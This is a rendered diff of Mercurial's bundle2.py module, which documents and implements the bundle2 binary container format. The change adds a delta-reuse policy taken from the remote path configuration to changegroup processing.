##// END OF EJS Templates
delta-find: add a `delta-reuse-policy` on configuration `path`...
marmoute -
r50661:f1887500 default
parent child Browse files
Show More
@@ -1,2617 +1,2621 b''
1 # bundle2.py - generic container format to transmit arbitrary data.
1 # bundle2.py - generic container format to transmit arbitrary data.
2 #
2 #
3 # Copyright 2013 Facebook, Inc.
3 # Copyright 2013 Facebook, Inc.
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 """Handling of the new bundle2 format
7 """Handling of the new bundle2 format
8
8
9 The goal of bundle2 is to act as an atomically packet to transmit a set of
9 The goal of bundle2 is to act as an atomically packet to transmit a set of
10 payloads in an application agnostic way. It consist in a sequence of "parts"
10 payloads in an application agnostic way. It consist in a sequence of "parts"
11 that will be handed to and processed by the application layer.
11 that will be handed to and processed by the application layer.
12
12
13
13
14 General format architecture
14 General format architecture
15 ===========================
15 ===========================
16
16
17 The format is architectured as follow
17 The format is architectured as follow
18
18
19 - magic string
19 - magic string
20 - stream level parameters
20 - stream level parameters
21 - payload parts (any number)
21 - payload parts (any number)
22 - end of stream marker.
22 - end of stream marker.
23
23
24 the Binary format
24 the Binary format
25 ============================
25 ============================
26
26
27 All numbers are unsigned and big-endian.
27 All numbers are unsigned and big-endian.
28
28
29 stream level parameters
29 stream level parameters
30 ------------------------
30 ------------------------
31
31
32 Binary format is as follow
32 Binary format is as follow
33
33
34 :params size: int32
34 :params size: int32
35
35
36 The total number of Bytes used by the parameters
36 The total number of Bytes used by the parameters
37
37
38 :params value: arbitrary number of Bytes
38 :params value: arbitrary number of Bytes
39
39
40 A blob of `params size` containing the serialized version of all stream level
40 A blob of `params size` containing the serialized version of all stream level
41 parameters.
41 parameters.
42
42
43 The blob contains a space separated list of parameters. Parameters with value
43 The blob contains a space separated list of parameters. Parameters with value
44 are stored in the form `<name>=<value>`. Both name and value are urlquoted.
44 are stored in the form `<name>=<value>`. Both name and value are urlquoted.
45
45
46 Empty name are obviously forbidden.
46 Empty name are obviously forbidden.
47
47
48 Name MUST start with a letter. If this first letter is lower case, the
48 Name MUST start with a letter. If this first letter is lower case, the
49 parameter is advisory and can be safely ignored. However when the first
49 parameter is advisory and can be safely ignored. However when the first
50 letter is capital, the parameter is mandatory and the bundling process MUST
50 letter is capital, the parameter is mandatory and the bundling process MUST
51 stop if he is not able to proceed it.
51 stop if he is not able to proceed it.
52
52
53 Stream parameters use a simple textual format for two main reasons:
53 Stream parameters use a simple textual format for two main reasons:
54
54
55 - Stream level parameters should remain simple and we want to discourage any
55 - Stream level parameters should remain simple and we want to discourage any
56 crazy usage.
56 crazy usage.
57 - Textual data allow easy human inspection of a bundle2 header in case of
57 - Textual data allow easy human inspection of a bundle2 header in case of
58 troubles.
58 troubles.
59
59
60 Any Applicative level options MUST go into a bundle2 part instead.
60 Any Applicative level options MUST go into a bundle2 part instead.
61
61
62 Payload part
62 Payload part
63 ------------------------
63 ------------------------
64
64
65 Binary format is as follow
65 Binary format is as follow
66
66
67 :header size: int32
67 :header size: int32
68
68
69 The total number of Bytes used by the part header. When the header is empty
69 The total number of Bytes used by the part header. When the header is empty
70 (size = 0) this is interpreted as the end of stream marker.
70 (size = 0) this is interpreted as the end of stream marker.
71
71
72 :header:
72 :header:
73
73
74 The header defines how to interpret the part. It contains two piece of
74 The header defines how to interpret the part. It contains two piece of
75 data: the part type, and the part parameters.
75 data: the part type, and the part parameters.
76
76
77 The part type is used to route an application level handler, that can
77 The part type is used to route an application level handler, that can
78 interpret payload.
78 interpret payload.
79
79
80 Part parameters are passed to the application level handler. They are
80 Part parameters are passed to the application level handler. They are
81 meant to convey information that will help the application level object to
81 meant to convey information that will help the application level object to
82 interpret the part payload.
82 interpret the part payload.
83
83
84 The binary format of the header is has follow
84 The binary format of the header is has follow
85
85
86 :typesize: (one byte)
86 :typesize: (one byte)
87
87
88 :parttype: alphanumerical part name (restricted to [a-zA-Z0-9_:-]*)
88 :parttype: alphanumerical part name (restricted to [a-zA-Z0-9_:-]*)
89
89
90 :partid: A 32bits integer (unique in the bundle) that can be used to refer
90 :partid: A 32bits integer (unique in the bundle) that can be used to refer
91 to this part.
91 to this part.
92
92
93 :parameters:
93 :parameters:
94
94
95 Part's parameter may have arbitrary content, the binary structure is::
95 Part's parameter may have arbitrary content, the binary structure is::
96
96
97 <mandatory-count><advisory-count><param-sizes><param-data>
97 <mandatory-count><advisory-count><param-sizes><param-data>
98
98
99 :mandatory-count: 1 byte, number of mandatory parameters
99 :mandatory-count: 1 byte, number of mandatory parameters
100
100
101 :advisory-count: 1 byte, number of advisory parameters
101 :advisory-count: 1 byte, number of advisory parameters
102
102
103 :param-sizes:
103 :param-sizes:
104
104
105 N couple of bytes, where N is the total number of parameters. Each
105 N couple of bytes, where N is the total number of parameters. Each
106 couple contains (<size-of-key>, <size-of-value) for one parameter.
106 couple contains (<size-of-key>, <size-of-value) for one parameter.
107
107
108 :param-data:
108 :param-data:
109
109
110 A blob of bytes from which each parameter key and value can be
110 A blob of bytes from which each parameter key and value can be
111 retrieved using the list of size couples stored in the previous
111 retrieved using the list of size couples stored in the previous
112 field.
112 field.
113
113
114 Mandatory parameters comes first, then the advisory ones.
114 Mandatory parameters comes first, then the advisory ones.
115
115
116 Each parameter's key MUST be unique within the part.
116 Each parameter's key MUST be unique within the part.
117
117
118 :payload:
118 :payload:
119
119
120 payload is a series of `<chunksize><chunkdata>`.
120 payload is a series of `<chunksize><chunkdata>`.
121
121
122 `chunksize` is an int32, `chunkdata` are plain bytes (as much as
122 `chunksize` is an int32, `chunkdata` are plain bytes (as much as
123 `chunksize` says)` The payload part is concluded by a zero size chunk.
123 `chunksize` says)` The payload part is concluded by a zero size chunk.
124
124
125 The current implementation always produces either zero or one chunk.
125 The current implementation always produces either zero or one chunk.
126 This is an implementation limitation that will ultimately be lifted.
126 This is an implementation limitation that will ultimately be lifted.
127
127
128 `chunksize` can be negative to trigger special case processing. No such
128 `chunksize` can be negative to trigger special case processing. No such
129 processing is in place yet.
129 processing is in place yet.
130
130
131 Bundle processing
131 Bundle processing
132 ============================
132 ============================
133
133
134 Each part is processed in order using a "part handler". Handler are registered
134 Each part is processed in order using a "part handler". Handler are registered
135 for a certain part type.
135 for a certain part type.
136
136
137 The matching of a part to its handler is case insensitive. The case of the
137 The matching of a part to its handler is case insensitive. The case of the
138 part type is used to know if a part is mandatory or advisory. If the Part type
138 part type is used to know if a part is mandatory or advisory. If the Part type
139 contains any uppercase char it is considered mandatory. When no handler is
139 contains any uppercase char it is considered mandatory. When no handler is
140 known for a Mandatory part, the process is aborted and an exception is raised.
140 known for a Mandatory part, the process is aborted and an exception is raised.
141 If the part is advisory and no handler is known, the part is ignored. When the
141 If the part is advisory and no handler is known, the part is ignored. When the
142 process is aborted, the full bundle is still read from the stream to keep the
142 process is aborted, the full bundle is still read from the stream to keep the
143 channel usable. But none of the part read from an abort are processed. In the
143 channel usable. But none of the part read from an abort are processed. In the
144 future, dropping the stream may become an option for channel we do not care to
144 future, dropping the stream may become an option for channel we do not care to
145 preserve.
145 preserve.
146 """
146 """
147
147
148
148
149 import collections
149 import collections
150 import errno
150 import errno
151 import os
151 import os
152 import re
152 import re
153 import string
153 import string
154 import struct
154 import struct
155 import sys
155 import sys
156
156
157 from .i18n import _
157 from .i18n import _
158 from .node import (
158 from .node import (
159 hex,
159 hex,
160 short,
160 short,
161 )
161 )
162 from . import (
162 from . import (
163 bookmarks,
163 bookmarks,
164 changegroup,
164 changegroup,
165 encoding,
165 encoding,
166 error,
166 error,
167 obsolete,
167 obsolete,
168 phases,
168 phases,
169 pushkey,
169 pushkey,
170 pycompat,
170 pycompat,
171 requirements,
171 requirements,
172 scmutil,
172 scmutil,
173 streamclone,
173 streamclone,
174 tags,
174 tags,
175 url,
175 url,
176 util,
176 util,
177 )
177 )
178 from .utils import (
178 from .utils import (
179 stringutil,
179 stringutil,
180 urlutil,
180 urlutil,
181 )
181 )
182 from .interfaces import repository
182 from .interfaces import repository
183
183
184 urlerr = util.urlerr
184 urlerr = util.urlerr
185 urlreq = util.urlreq
185 urlreq = util.urlreq
186
186
187 _pack = struct.pack
187 _pack = struct.pack
188 _unpack = struct.unpack
188 _unpack = struct.unpack
189
189
190 _fstreamparamsize = b'>i'
190 _fstreamparamsize = b'>i'
191 _fpartheadersize = b'>i'
191 _fpartheadersize = b'>i'
192 _fparttypesize = b'>B'
192 _fparttypesize = b'>B'
193 _fpartid = b'>I'
193 _fpartid = b'>I'
194 _fpayloadsize = b'>i'
194 _fpayloadsize = b'>i'
195 _fpartparamcount = b'>BB'
195 _fpartparamcount = b'>BB'
196
196
197 preferedchunksize = 32768
197 preferedchunksize = 32768
198
198
199 _parttypeforbidden = re.compile(b'[^a-zA-Z0-9_:-]')
199 _parttypeforbidden = re.compile(b'[^a-zA-Z0-9_:-]')
200
200
201
201
202 def outdebug(ui, message):
202 def outdebug(ui, message):
203 """debug regarding output stream (bundling)"""
203 """debug regarding output stream (bundling)"""
204 if ui.configbool(b'devel', b'bundle2.debug'):
204 if ui.configbool(b'devel', b'bundle2.debug'):
205 ui.debug(b'bundle2-output: %s\n' % message)
205 ui.debug(b'bundle2-output: %s\n' % message)
206
206
207
207
208 def indebug(ui, message):
208 def indebug(ui, message):
209 """debug on input stream (unbundling)"""
209 """debug on input stream (unbundling)"""
210 if ui.configbool(b'devel', b'bundle2.debug'):
210 if ui.configbool(b'devel', b'bundle2.debug'):
211 ui.debug(b'bundle2-input: %s\n' % message)
211 ui.debug(b'bundle2-input: %s\n' % message)
212
212
213
213
214 def validateparttype(parttype):
214 def validateparttype(parttype):
215 """raise ValueError if a parttype contains invalid character"""
215 """raise ValueError if a parttype contains invalid character"""
216 if _parttypeforbidden.search(parttype):
216 if _parttypeforbidden.search(parttype):
217 raise ValueError(parttype)
217 raise ValueError(parttype)
218
218
219
219
220 def _makefpartparamsizes(nbparams):
220 def _makefpartparamsizes(nbparams):
221 """return a struct format to read part parameter sizes
221 """return a struct format to read part parameter sizes
222
222
223 The number parameters is variable so we need to build that format
223 The number parameters is variable so we need to build that format
224 dynamically.
224 dynamically.
225 """
225 """
226 return b'>' + (b'BB' * nbparams)
226 return b'>' + (b'BB' * nbparams)
227
227
228
228
229 parthandlermapping = {}
229 parthandlermapping = {}
230
230
231
231
232 def parthandler(parttype, params=()):
232 def parthandler(parttype, params=()):
233 """decorator that register a function as a bundle2 part handler
233 """decorator that register a function as a bundle2 part handler
234
234
235 eg::
235 eg::
236
236
237 @parthandler('myparttype', ('mandatory', 'param', 'handled'))
237 @parthandler('myparttype', ('mandatory', 'param', 'handled'))
238 def myparttypehandler(...):
238 def myparttypehandler(...):
239 '''process a part of type "my part".'''
239 '''process a part of type "my part".'''
240 ...
240 ...
241 """
241 """
242 validateparttype(parttype)
242 validateparttype(parttype)
243
243
244 def _decorator(func):
244 def _decorator(func):
245 lparttype = parttype.lower() # enforce lower case matching.
245 lparttype = parttype.lower() # enforce lower case matching.
246 assert lparttype not in parthandlermapping
246 assert lparttype not in parthandlermapping
247 parthandlermapping[lparttype] = func
247 parthandlermapping[lparttype] = func
248 func.params = frozenset(params)
248 func.params = frozenset(params)
249 return func
249 return func
250
250
251 return _decorator
251 return _decorator
252
252
253
253
254 class unbundlerecords:
254 class unbundlerecords:
255 """keep record of what happens during and unbundle
255 """keep record of what happens during and unbundle
256
256
257 New records are added using `records.add('cat', obj)`. Where 'cat' is a
257 New records are added using `records.add('cat', obj)`. Where 'cat' is a
258 category of record and obj is an arbitrary object.
258 category of record and obj is an arbitrary object.
259
259
260 `records['cat']` will return all entries of this category 'cat'.
260 `records['cat']` will return all entries of this category 'cat'.
261
261
262 Iterating on the object itself will yield `('category', obj)` tuples
262 Iterating on the object itself will yield `('category', obj)` tuples
263 for all entries.
263 for all entries.
264
264
265 All iterations happens in chronological order.
265 All iterations happens in chronological order.
266 """
266 """
267
267
268 def __init__(self):
268 def __init__(self):
269 self._categories = {}
269 self._categories = {}
270 self._sequences = []
270 self._sequences = []
271 self._replies = {}
271 self._replies = {}
272
272
273 def add(self, category, entry, inreplyto=None):
273 def add(self, category, entry, inreplyto=None):
274 """add a new record of a given category.
274 """add a new record of a given category.
275
275
276 The entry can then be retrieved in the list returned by
276 The entry can then be retrieved in the list returned by
277 self['category']."""
277 self['category']."""
278 self._categories.setdefault(category, []).append(entry)
278 self._categories.setdefault(category, []).append(entry)
279 self._sequences.append((category, entry))
279 self._sequences.append((category, entry))
280 if inreplyto is not None:
280 if inreplyto is not None:
281 self.getreplies(inreplyto).add(category, entry)
281 self.getreplies(inreplyto).add(category, entry)
282
282
283 def getreplies(self, partid):
283 def getreplies(self, partid):
284 """get the records that are replies to a specific part"""
284 """get the records that are replies to a specific part"""
285 return self._replies.setdefault(partid, unbundlerecords())
285 return self._replies.setdefault(partid, unbundlerecords())
286
286
287 def __getitem__(self, cat):
287 def __getitem__(self, cat):
288 return tuple(self._categories.get(cat, ()))
288 return tuple(self._categories.get(cat, ()))
289
289
290 def __iter__(self):
290 def __iter__(self):
291 return iter(self._sequences)
291 return iter(self._sequences)
292
292
293 def __len__(self):
293 def __len__(self):
294 return len(self._sequences)
294 return len(self._sequences)
295
295
296 def __nonzero__(self):
296 def __nonzero__(self):
297 return bool(self._sequences)
297 return bool(self._sequences)
298
298
299 __bool__ = __nonzero__
299 __bool__ = __nonzero__
300
300
301
301
302 class bundleoperation:
302 class bundleoperation:
303 """an object that represents a single bundling process
303 """an object that represents a single bundling process
304
304
305 Its purpose is to carry unbundle-related objects and states.
305 Its purpose is to carry unbundle-related objects and states.
306
306
307 A new object should be created at the beginning of each bundle processing.
307 A new object should be created at the beginning of each bundle processing.
308 The object is to be returned by the processing function.
308 The object is to be returned by the processing function.
309
309
310 The object has very little content now it will ultimately contain:
310 The object has very little content now it will ultimately contain:
311 * an access to the repo the bundle is applied to,
311 * an access to the repo the bundle is applied to,
312 * a ui object,
312 * a ui object,
313 * a way to retrieve a transaction to add changes to the repo,
313 * a way to retrieve a transaction to add changes to the repo,
314 * a way to record the result of processing each part,
314 * a way to record the result of processing each part,
315 * a way to construct a bundle response when applicable.
315 * a way to construct a bundle response when applicable.
316 """
316 """
317
317
318 def __init__(
318 def __init__(
319 self,
319 self,
320 repo,
320 repo,
321 transactiongetter,
321 transactiongetter,
322 captureoutput=True,
322 captureoutput=True,
323 source=b'',
323 source=b'',
324 remote=None,
324 remote=None,
325 ):
325 ):
326 self.repo = repo
326 self.repo = repo
327 # the peer object who produced this bundle if available
327 # the peer object who produced this bundle if available
328 self.remote = remote
328 self.remote = remote
329 self.ui = repo.ui
329 self.ui = repo.ui
330 self.records = unbundlerecords()
330 self.records = unbundlerecords()
331 self.reply = None
331 self.reply = None
332 self.captureoutput = captureoutput
332 self.captureoutput = captureoutput
333 self.hookargs = {}
333 self.hookargs = {}
334 self._gettransaction = transactiongetter
334 self._gettransaction = transactiongetter
335 # carries value that can modify part behavior
335 # carries value that can modify part behavior
336 self.modes = {}
336 self.modes = {}
337 self.source = source
337 self.source = source
338
338
339 def gettransaction(self):
339 def gettransaction(self):
340 transaction = self._gettransaction()
340 transaction = self._gettransaction()
341
341
342 if self.hookargs:
342 if self.hookargs:
343 # the ones added to the transaction supercede those added
343 # the ones added to the transaction supercede those added
344 # to the operation.
344 # to the operation.
345 self.hookargs.update(transaction.hookargs)
345 self.hookargs.update(transaction.hookargs)
346 transaction.hookargs = self.hookargs
346 transaction.hookargs = self.hookargs
347
347
348 # mark the hookargs as flushed. further attempts to add to
348 # mark the hookargs as flushed. further attempts to add to
349 # hookargs will result in an abort.
349 # hookargs will result in an abort.
350 self.hookargs = None
350 self.hookargs = None
351
351
352 return transaction
352 return transaction
353
353
354 def addhookargs(self, hookargs):
354 def addhookargs(self, hookargs):
355 if self.hookargs is None:
355 if self.hookargs is None:
356 raise error.ProgrammingError(
356 raise error.ProgrammingError(
357 b'attempted to add hookargs to '
357 b'attempted to add hookargs to '
358 b'operation after transaction started'
358 b'operation after transaction started'
359 )
359 )
360 self.hookargs.update(hookargs)
360 self.hookargs.update(hookargs)
361
361
362
362
363 class TransactionUnavailable(RuntimeError):
363 class TransactionUnavailable(RuntimeError):
364 pass
364 pass
365
365
366
366
367 def _notransaction():
367 def _notransaction():
368 """default method to get a transaction while processing a bundle
368 """default method to get a transaction while processing a bundle
369
369
370 Raise an exception to highlight the fact that no transaction was expected
370 Raise an exception to highlight the fact that no transaction was expected
371 to be created"""
371 to be created"""
372 raise TransactionUnavailable()
372 raise TransactionUnavailable()
373
373
374
374
375 def applybundle(repo, unbundler, tr, source, url=None, remote=None, **kwargs):
375 def applybundle(repo, unbundler, tr, source, url=None, remote=None, **kwargs):
376 # transform me into unbundler.apply() as soon as the freeze is lifted
376 # transform me into unbundler.apply() as soon as the freeze is lifted
377 if isinstance(unbundler, unbundle20):
377 if isinstance(unbundler, unbundle20):
378 tr.hookargs[b'bundle2'] = b'1'
378 tr.hookargs[b'bundle2'] = b'1'
379 if source is not None and b'source' not in tr.hookargs:
379 if source is not None and b'source' not in tr.hookargs:
380 tr.hookargs[b'source'] = source
380 tr.hookargs[b'source'] = source
381 if url is not None and b'url' not in tr.hookargs:
381 if url is not None and b'url' not in tr.hookargs:
382 tr.hookargs[b'url'] = url
382 tr.hookargs[b'url'] = url
383 return processbundle(
383 return processbundle(
384 repo, unbundler, lambda: tr, source=source, remote=remote
384 repo, unbundler, lambda: tr, source=source, remote=remote
385 )
385 )
386 else:
386 else:
387 # the transactiongetter won't be used, but we might as well set it
387 # the transactiongetter won't be used, but we might as well set it
388 op = bundleoperation(repo, lambda: tr, source=source, remote=remote)
388 op = bundleoperation(repo, lambda: tr, source=source, remote=remote)
389 _processchangegroup(op, unbundler, tr, source, url, **kwargs)
389 _processchangegroup(op, unbundler, tr, source, url, **kwargs)
390 return op
390 return op
391
391
392
392
393 class partiterator:
393 class partiterator:
394 def __init__(self, repo, op, unbundler):
394 def __init__(self, repo, op, unbundler):
395 self.repo = repo
395 self.repo = repo
396 self.op = op
396 self.op = op
397 self.unbundler = unbundler
397 self.unbundler = unbundler
398 self.iterator = None
398 self.iterator = None
399 self.count = 0
399 self.count = 0
400 self.current = None
400 self.current = None
401
401
402 def __enter__(self):
402 def __enter__(self):
403 def func():
403 def func():
404 itr = enumerate(self.unbundler.iterparts(), 1)
404 itr = enumerate(self.unbundler.iterparts(), 1)
405 for count, p in itr:
405 for count, p in itr:
406 self.count = count
406 self.count = count
407 self.current = p
407 self.current = p
408 yield p
408 yield p
409 p.consume()
409 p.consume()
410 self.current = None
410 self.current = None
411
411
412 self.iterator = func()
412 self.iterator = func()
413 return self.iterator
413 return self.iterator
414
414
415 def __exit__(self, type, exc, tb):
415 def __exit__(self, type, exc, tb):
416 if not self.iterator:
416 if not self.iterator:
417 return
417 return
418
418
419 # Only gracefully abort in a normal exception situation. User aborts
419 # Only gracefully abort in a normal exception situation. User aborts
420 # like Ctrl+C throw a KeyboardInterrupt which is not a base Exception,
420 # like Ctrl+C throw a KeyboardInterrupt which is not a base Exception,
421 # and should not gracefully cleanup.
421 # and should not gracefully cleanup.
422 if isinstance(exc, Exception):
422 if isinstance(exc, Exception):
423 # Any exceptions seeking to the end of the bundle at this point are
423 # Any exceptions seeking to the end of the bundle at this point are
424 # almost certainly related to the underlying stream being bad.
424 # almost certainly related to the underlying stream being bad.
425 # And, chances are that the exception we're handling is related to
425 # And, chances are that the exception we're handling is related to
426 # getting in that bad state. So, we swallow the seeking error and
426 # getting in that bad state. So, we swallow the seeking error and
427 # re-raise the original error.
427 # re-raise the original error.
428 seekerror = False
428 seekerror = False
429 try:
429 try:
430 if self.current:
430 if self.current:
431 # consume the part content to not corrupt the stream.
431 # consume the part content to not corrupt the stream.
432 self.current.consume()
432 self.current.consume()
433
433
434 for part in self.iterator:
434 for part in self.iterator:
435 # consume the bundle content
435 # consume the bundle content
436 part.consume()
436 part.consume()
437 except Exception:
437 except Exception:
438 seekerror = True
438 seekerror = True
439
439
440 # Small hack to let caller code distinguish exceptions from bundle2
440 # Small hack to let caller code distinguish exceptions from bundle2
441 # processing from processing the old format. This is mostly needed
441 # processing from processing the old format. This is mostly needed
442 # to handle different return codes to unbundle according to the type
442 # to handle different return codes to unbundle according to the type
443 # of bundle. We should probably clean up or drop this return code
443 # of bundle. We should probably clean up or drop this return code
444 # craziness in a future version.
444 # craziness in a future version.
445 exc.duringunbundle2 = True
445 exc.duringunbundle2 = True
446 salvaged = []
446 salvaged = []
447 replycaps = None
447 replycaps = None
448 if self.op.reply is not None:
448 if self.op.reply is not None:
449 salvaged = self.op.reply.salvageoutput()
449 salvaged = self.op.reply.salvageoutput()
450 replycaps = self.op.reply.capabilities
450 replycaps = self.op.reply.capabilities
451 exc._replycaps = replycaps
451 exc._replycaps = replycaps
452 exc._bundle2salvagedoutput = salvaged
452 exc._bundle2salvagedoutput = salvaged
453
453
454 # Re-raising from a variable loses the original stack. So only use
454 # Re-raising from a variable loses the original stack. So only use
455 # that form if we need to.
455 # that form if we need to.
456 if seekerror:
456 if seekerror:
457 raise exc
457 raise exc
458
458
459 self.repo.ui.debug(
459 self.repo.ui.debug(
460 b'bundle2-input-bundle: %i parts total\n' % self.count
460 b'bundle2-input-bundle: %i parts total\n' % self.count
461 )
461 )
462
462
463
463
464 def processbundle(
464 def processbundle(
465 repo,
465 repo,
466 unbundler,
466 unbundler,
467 transactiongetter=None,
467 transactiongetter=None,
468 op=None,
468 op=None,
469 source=b'',
469 source=b'',
470 remote=None,
470 remote=None,
471 ):
471 ):
472 """This function process a bundle, apply effect to/from a repo
472 """This function process a bundle, apply effect to/from a repo
473
473
474 It iterates over each part then searches for and uses the proper handling
474 It iterates over each part then searches for and uses the proper handling
475 code to process the part. Parts are processed in order.
475 code to process the part. Parts are processed in order.
476
476
477 Unknown Mandatory part will abort the process.
477 Unknown Mandatory part will abort the process.
478
478
479 It is temporarily possible to provide a prebuilt bundleoperation to the
479 It is temporarily possible to provide a prebuilt bundleoperation to the
480 function. This is used to ensure output is properly propagated in case of
480 function. This is used to ensure output is properly propagated in case of
481 an error during the unbundling. This output capturing part will likely be
481 an error during the unbundling. This output capturing part will likely be
482 reworked and this ability will probably go away in the process.
482 reworked and this ability will probably go away in the process.
483 """
483 """
484 if op is None:
484 if op is None:
485 if transactiongetter is None:
485 if transactiongetter is None:
486 transactiongetter = _notransaction
486 transactiongetter = _notransaction
487 op = bundleoperation(
487 op = bundleoperation(
488 repo,
488 repo,
489 transactiongetter,
489 transactiongetter,
490 source=source,
490 source=source,
491 remote=remote,
491 remote=remote,
492 )
492 )
493 # todo:
493 # todo:
494 # - replace this is a init function soon.
494 # - replace this is a init function soon.
495 # - exception catching
495 # - exception catching
496 unbundler.params
496 unbundler.params
497 if repo.ui.debugflag:
497 if repo.ui.debugflag:
498 msg = [b'bundle2-input-bundle:']
498 msg = [b'bundle2-input-bundle:']
499 if unbundler.params:
499 if unbundler.params:
500 msg.append(b' %i params' % len(unbundler.params))
500 msg.append(b' %i params' % len(unbundler.params))
501 if op._gettransaction is None or op._gettransaction is _notransaction:
501 if op._gettransaction is None or op._gettransaction is _notransaction:
502 msg.append(b' no-transaction')
502 msg.append(b' no-transaction')
503 else:
503 else:
504 msg.append(b' with-transaction')
504 msg.append(b' with-transaction')
505 msg.append(b'\n')
505 msg.append(b'\n')
506 repo.ui.debug(b''.join(msg))
506 repo.ui.debug(b''.join(msg))
507
507
508 processparts(repo, op, unbundler)
508 processparts(repo, op, unbundler)
509
509
510 return op
510 return op
511
511
512
512
513 def processparts(repo, op, unbundler):
513 def processparts(repo, op, unbundler):
514 with partiterator(repo, op, unbundler) as parts:
514 with partiterator(repo, op, unbundler) as parts:
515 for part in parts:
515 for part in parts:
516 _processpart(op, part)
516 _processpart(op, part)
517
517
518
518
519 def _processchangegroup(op, cg, tr, source, url, **kwargs):
519 def _processchangegroup(op, cg, tr, source, url, **kwargs):
520 if op.remote is not None and op.remote.path is not None:
521 remote_path = op.remote.path
522 kwargs = kwargs.copy()
523 kwargs['delta_base_reuse_policy'] = remote_path.delta_reuse_policy
520 ret = cg.apply(op.repo, tr, source, url, **kwargs)
524 ret = cg.apply(op.repo, tr, source, url, **kwargs)
521 op.records.add(
525 op.records.add(
522 b'changegroup',
526 b'changegroup',
523 {
527 {
524 b'return': ret,
528 b'return': ret,
525 },
529 },
526 )
530 )
527 return ret
531 return ret
528
532
529
533
530 def _gethandler(op, part):
534 def _gethandler(op, part):
531 status = b'unknown' # used by debug output
535 status = b'unknown' # used by debug output
532 try:
536 try:
533 handler = parthandlermapping.get(part.type)
537 handler = parthandlermapping.get(part.type)
534 if handler is None:
538 if handler is None:
535 status = b'unsupported-type'
539 status = b'unsupported-type'
536 raise error.BundleUnknownFeatureError(parttype=part.type)
540 raise error.BundleUnknownFeatureError(parttype=part.type)
537 indebug(op.ui, b'found a handler for part %s' % part.type)
541 indebug(op.ui, b'found a handler for part %s' % part.type)
538 unknownparams = part.mandatorykeys - handler.params
542 unknownparams = part.mandatorykeys - handler.params
539 if unknownparams:
543 if unknownparams:
540 unknownparams = list(unknownparams)
544 unknownparams = list(unknownparams)
541 unknownparams.sort()
545 unknownparams.sort()
542 status = b'unsupported-params (%s)' % b', '.join(unknownparams)
546 status = b'unsupported-params (%s)' % b', '.join(unknownparams)
543 raise error.BundleUnknownFeatureError(
547 raise error.BundleUnknownFeatureError(
544 parttype=part.type, params=unknownparams
548 parttype=part.type, params=unknownparams
545 )
549 )
546 status = b'supported'
550 status = b'supported'
547 except error.BundleUnknownFeatureError as exc:
551 except error.BundleUnknownFeatureError as exc:
548 if part.mandatory: # mandatory parts
552 if part.mandatory: # mandatory parts
549 raise
553 raise
550 indebug(op.ui, b'ignoring unsupported advisory part %s' % exc)
554 indebug(op.ui, b'ignoring unsupported advisory part %s' % exc)
551 return # skip to part processing
555 return # skip to part processing
552 finally:
556 finally:
553 if op.ui.debugflag:
557 if op.ui.debugflag:
554 msg = [b'bundle2-input-part: "%s"' % part.type]
558 msg = [b'bundle2-input-part: "%s"' % part.type]
555 if not part.mandatory:
559 if not part.mandatory:
556 msg.append(b' (advisory)')
560 msg.append(b' (advisory)')
557 nbmp = len(part.mandatorykeys)
561 nbmp = len(part.mandatorykeys)
558 nbap = len(part.params) - nbmp
562 nbap = len(part.params) - nbmp
559 if nbmp or nbap:
563 if nbmp or nbap:
560 msg.append(b' (params:')
564 msg.append(b' (params:')
561 if nbmp:
565 if nbmp:
562 msg.append(b' %i mandatory' % nbmp)
566 msg.append(b' %i mandatory' % nbmp)
563 if nbap:
567 if nbap:
564 msg.append(b' %i advisory' % nbmp)
568 msg.append(b' %i advisory' % nbmp)
565 msg.append(b')')
569 msg.append(b')')
566 msg.append(b' %s\n' % status)
570 msg.append(b' %s\n' % status)
567 op.ui.debug(b''.join(msg))
571 op.ui.debug(b''.join(msg))
568
572
569 return handler
573 return handler
570
574
571
575
572 def _processpart(op, part):
576 def _processpart(op, part):
573 """process a single part from a bundle
577 """process a single part from a bundle
574
578
575 The part is guaranteed to have been fully consumed when the function exits
579 The part is guaranteed to have been fully consumed when the function exits
576 (even if an exception is raised)."""
580 (even if an exception is raised)."""
577 handler = _gethandler(op, part)
581 handler = _gethandler(op, part)
578 if handler is None:
582 if handler is None:
579 return
583 return
580
584
581 # handler is called outside the above try block so that we don't
585 # handler is called outside the above try block so that we don't
582 # risk catching KeyErrors from anything other than the
586 # risk catching KeyErrors from anything other than the
583 # parthandlermapping lookup (any KeyError raised by handler()
587 # parthandlermapping lookup (any KeyError raised by handler()
584 # itself represents a defect of a different variety).
588 # itself represents a defect of a different variety).
585 output = None
589 output = None
586 if op.captureoutput and op.reply is not None:
590 if op.captureoutput and op.reply is not None:
587 op.ui.pushbuffer(error=True, subproc=True)
591 op.ui.pushbuffer(error=True, subproc=True)
588 output = b''
592 output = b''
589 try:
593 try:
590 handler(op, part)
594 handler(op, part)
591 finally:
595 finally:
592 if output is not None:
596 if output is not None:
593 output = op.ui.popbuffer()
597 output = op.ui.popbuffer()
594 if output:
598 if output:
595 outpart = op.reply.newpart(b'output', data=output, mandatory=False)
599 outpart = op.reply.newpart(b'output', data=output, mandatory=False)
596 outpart.addparam(
600 outpart.addparam(
597 b'in-reply-to', pycompat.bytestr(part.id), mandatory=False
601 b'in-reply-to', pycompat.bytestr(part.id), mandatory=False
598 )
602 )
599
603
600
604
601 def decodecaps(blob):
605 def decodecaps(blob):
602 """decode a bundle2 caps bytes blob into a dictionary
606 """decode a bundle2 caps bytes blob into a dictionary
603
607
604 The blob is a list of capabilities (one per line)
608 The blob is a list of capabilities (one per line)
605 Capabilities may have values using a line of the form::
609 Capabilities may have values using a line of the form::
606
610
607 capability=value1,value2,value3
611 capability=value1,value2,value3
608
612
609 The values are always a list."""
613 The values are always a list."""
610 caps = {}
614 caps = {}
611 for line in blob.splitlines():
615 for line in blob.splitlines():
612 if not line:
616 if not line:
613 continue
617 continue
614 if b'=' not in line:
618 if b'=' not in line:
615 key, vals = line, ()
619 key, vals = line, ()
616 else:
620 else:
617 key, vals = line.split(b'=', 1)
621 key, vals = line.split(b'=', 1)
618 vals = vals.split(b',')
622 vals = vals.split(b',')
619 key = urlreq.unquote(key)
623 key = urlreq.unquote(key)
620 vals = [urlreq.unquote(v) for v in vals]
624 vals = [urlreq.unquote(v) for v in vals]
621 caps[key] = vals
625 caps[key] = vals
622 return caps
626 return caps
623
627
624
628
625 def encodecaps(caps):
629 def encodecaps(caps):
626 """encode a bundle2 caps dictionary into a bytes blob"""
630 """encode a bundle2 caps dictionary into a bytes blob"""
627 chunks = []
